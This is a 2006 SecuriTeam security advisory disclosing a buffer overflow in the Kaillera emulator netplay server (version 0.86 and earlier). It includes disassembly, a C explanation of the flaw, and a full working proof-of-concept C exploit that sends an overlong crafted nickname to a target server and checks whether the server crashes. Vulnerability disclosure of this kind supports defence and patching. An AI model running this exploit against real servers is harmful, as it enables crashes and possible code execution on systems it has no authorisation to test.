Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [NEWS] Kaillera Code Execution |
|---|---|
| Date: | 10 Jul 2006 17:57:39 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Kaillera Code Execution ------------------------------------------------------------------------ SUMMARY " <http://www.kaillera.com/> Kaillera enables emulators to play on the Internet." Improper handling of user input allows attackers to execute arbitrary code using Kaillera. DETAILS Vulnerable Systems: * Kaillera version 0.86 and prior The handling of almost all the Kaillera messages is made through the reading of the first NULL terminated string and the subsequent reading of the remaining data in the message (its content will be parsed in another step). For these operations Kaillera uses a static buffer of 32 bytes and a data buffer which is reallocated everytime that the size of the client message is bigger than the actual allocated size of the buffer. The instructions which handle these types of messages start from about offset 004019f1 of the Windows server 0.86: 004019F1 |. 33C9 XOR ECX,ECX 004019F3 |. 8A06 MOV AL,BYTE PTR DS:[ESI] 004019F5 |. 57 PUSH EDI 004019F6 |. 84C0 TEST AL,AL 004019F8 |. 74 0C JE SHORT KAILLERA.00401A06 004019FA |> 46 /INC ESI 004019FB |. 88440B 04 |MOV BYTE PTR DS:[EBX+ECX+4],AL 004019FF |. 41 |INC ECX 00401A00 |. 8A06 |MOV AL,BYTE PTR DS:[ESI] 00401A02 |. 84C0 |TEST AL,AL 00401A04 |.^75 F4 \JNZ SHORT KAILLERA.004019FA 00401A06 |> 8B6C24 18 MOV EBP,DWORD PTR SS:[ESP+18] 00401A0A |. C64419 04 00 MOV BYTE PTR DS:[ECX+EBX+4],0 00401A0F |. 2BE9 SUB EBP,ECX 00401A11 |. 8BCB MOV ECX,EBX 00401A13 |. 83ED 02 SUB EBP,2 00401A16 |. 55 PUSH EBP 00401A17 |. E8 D4FCFFFF CALL KAILLERA.004016F0 00401A1C |. 8B7B 24 MOV EDI,DWORD PTR DS:[EBX+24] 00401A1F |. 8BCD MOV ECX,EBP 00401A21 |. 8BD1 MOV EDX,ECX 00401A23 |. 46 INC ESI 00401A24 |. C1E9 02 SHR ECX,2 00401A27 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> which can be traduced (more or less) in C like the following code: static char nick[32], *data; ... int nick_size, data_size; for(nick_size = 0; *client_msg; nick_size++, client_msg++) { nick[nick_size] = *client_msg; } nick[nick_size] = 0; client_msg++; data_size = (client_msg_size - nick_size) - 2; data = 004016f0(data_size); // realloc data if needed memcpy(data, client_msg, data_size); ... 004016f0(int size) { if(size <= data_alloc_size) return; do { data_alloc_size <<= 1; } while(size > data_alloc_size); data = realloc(data, data_alloc_size); } If an attacker uses a nickname longer than 32 bytes he can overwrite the address of the data buffer and the value in which is stored its actual allocated size, the following scheme shows that piece of memory: ooooooooooooooooooooooooooooooooXXXXYYYY | | | | | amount of data currently allocated | pointer to the data buffer static buffer of 32 bytes With the overwriting of YYYY we can bypass the first check made by the function at offset 004016f0 which does a realloc of the buffer if needed since we control the actual allocated size and then we can decide where copying the rest of our message in the memory of the server since the address of data XXXX is controlled by us too. That leads to the possibility of executing malicious code. Proof of Concept: The header file winerr.h can be found at: <http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html> http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html kailleraex.c: /* by Luigi Auriemma */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <time.h> #ifdef WIN32 #include <winsock.h> #include "winerr.h" #define close closesocket #define sleep Sleep #define ONESEC 1000 #else #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netdb.h> #define ONESEC 1 #endif #define VER "0.1" #define PORT 27888 #define BUFFSZ 0xffff #define NICK "nickname_aaaaaaaaaaaaaaaaaaaaaaa" \ "bbbb" /* EDI */ \ "cccc" /* EAX */ int put08(u_char *data, int num); int put16(u_char *data, int num); int putsc(u_char *data, u_char *src); void delimit(u_char *data); int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err); int timeout(int sock, int secs); u_int resolv(char *host); void std_err(void); struct sockaddr_in peer; int main(int argc, char *argv[]) { float ver = 0.83; int sd, seq, len; u_short port = PORT; u_char *buff, *p, *t; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif setbuf(stdout, NULL); fputs("\n" "Kaillera <= 0.86 possible code execution "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: aluigi.org\n" "\n", stdout); if(argc < 2) { printf("\n" "Usage: %s <host> [port(%hu)]\n" "\n", argv[0], port); exit(1); } if(argc > 2) port = atoi(argv[2]); peer.sin_addr.s_addr = resolv(argv[1]); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port)); buff = malloc(BUFFSZ); if(!buff) std_err(); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); redo: len = sprintf(buff, "HELLO%1.2f", ver); len = send_recv(sd, buff, len, buff, BUFFSZ, 1); if(memcmp(buff, "HELLOD00D", 9)) { if(!strcmp(buff, "VER")) { ver += 0.01; printf("- try version %1.2f\n", ver); goto redo; } printf("\nError: wrong reply from the server: %s\n\n", buff); exit(1); } seq = 0; peer.sin_port = htons(atoi(buff + 9)); printf("- connect to port %hu\n", ntohs(peer.sin_port)); p = buff; p += put08(p, 1); // number of messages p += put16(p, seq++); // sequence t = p; p += 2; // size of message p += put08(p, 3); // type of message // message: p += putsc(p, NICK); p += putsc(p, "emulator"); p += put08(p, 1); put16(t, (p - t) - 1); printf( "- send malformed message:\n" " data = 0x%08x\n" " data_size = 0x%08x\n", *(uint32_t *)(NICK + 32), *(uint32_t *)(NICK + 32 + 4)); len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0); sleep(ONESEC); printf("- check server:\n"); len = sprintf(buff, "HELLO%1.2f", ver); len = send_recv(sd, buff, len, buff, BUFFSZ, 0); if(len < 0) { printf("\n Server IS vulenrable!!!\n\n"); } else { printf("\n Server doesn't seem vulenrable\n\n"); } close(sd); return(0); } int put08(u_char *data, int num) { data[0] = num; return(1); } int put16(u_char *data, int num) { data[0] = num; data[1] = num >> 8; return(2); } int putsc(u_char *data, u_char *src) { return(sprintf(data, "%s", src) + 1); } void delimit(u_char *data) { while(*data && (*data != '\n') && (*data != '\r')) data++; *data = 0; } int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err) { int retry, len; if(in && !out) { if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); return(0); } else if(in) { for(retry = 3; retry; retry--) { if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); if(!timeout(sd, 1)) break; } if(!retry) { goto timeout_received; } } else { if(timeout(sd, 3) < 0) { goto timeout_received; } } len = recvfrom(sd, out, outsz, 0, NULL, NULL); if(len < 0) std_err(); return(len); timeout_received: if(err) { printf("\nError: socket timeout, no reply received\n\n"); exit(1); } return(-1); } int timeout(int sock, int sec) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = sec; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); } u_int resolv(char *host) { struct hostent *hp; u_int host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u_int *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif /* EoF */ ADDITIONAL INFORMATION The information has been provided by <mailto:aluigi@autistici.org> Luigi Auriemma. The original article can be found at: <http://aluigi.altervista.org/adv/kailleraex-adv.txt> http://aluigi.altervista.org/adv/kailleraex-adv.txt ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [NEWS] AdPlug Multiple Buffer Overflows, SecuriTeam |
|---|---|
| Next by Date: | [UNIX] Samba smbd Memory Exhaustion DoS, SecuriTeam |
| Previous by Thread: | [NEWS] AdPlug Multiple Buffer Overflows, SecuriTeam |
| Next by Thread: | [UNIX] Samba smbd Memory Exhaustion DoS, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |